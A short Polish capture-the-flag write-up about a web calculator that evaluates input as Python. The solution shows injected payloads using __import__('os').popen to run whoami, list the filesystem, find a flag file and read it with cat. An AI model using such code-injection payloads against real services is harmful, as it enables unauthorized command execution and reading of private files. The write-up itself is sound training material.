Opis

W zadaniu użytkownik ma do czynienia z pozornie prostym kalkulatorem. Po bliższej analizie okazuje się, że każde wpisane wyrażenie jest interpretowane jako kod w języku Python. To otwiera możliwość wykonywania dowolnych komend w systemie (tzw. code execution backdoor). Serwer weryfikuje jedynie nagłówki HTTP, sprawdzając ilość pamięci RAM – pozostałe dane nie mają znaczenia.

Rozwiązanie

  1. Analiza działania kalkulatora
    Szybkie testy pokazują, że np. wpisanie 1+2 zwraca 3, a wpisanie __import__("os").popen("whoami").read() zwraca nazwę użytkownika systemowego. Wnioskujemy, że backend wykonuje kod Pythona bez filtrów.
  2. Dostęp do systemu plików
    Można wykonywać dowolne komendy powłoki:
    import os
    os.popen("ls /").read()
    
  3. Zlokalizowanie pliku z flagą
    Przeszukujemy cały system w poszukiwaniu pliku z flagą:
    os.popen("find / -name DO_NOT_ENTER.txt 2>/dev/null").read()
    
  4. Odczytanie zawartości pliku
    Gdy mamy ścieżkę, np. /app/DO_NOT_ENTER.txt, odczytujemy ją:
    os.popen("cat /app/DO_NOT_ENTER.txt").read()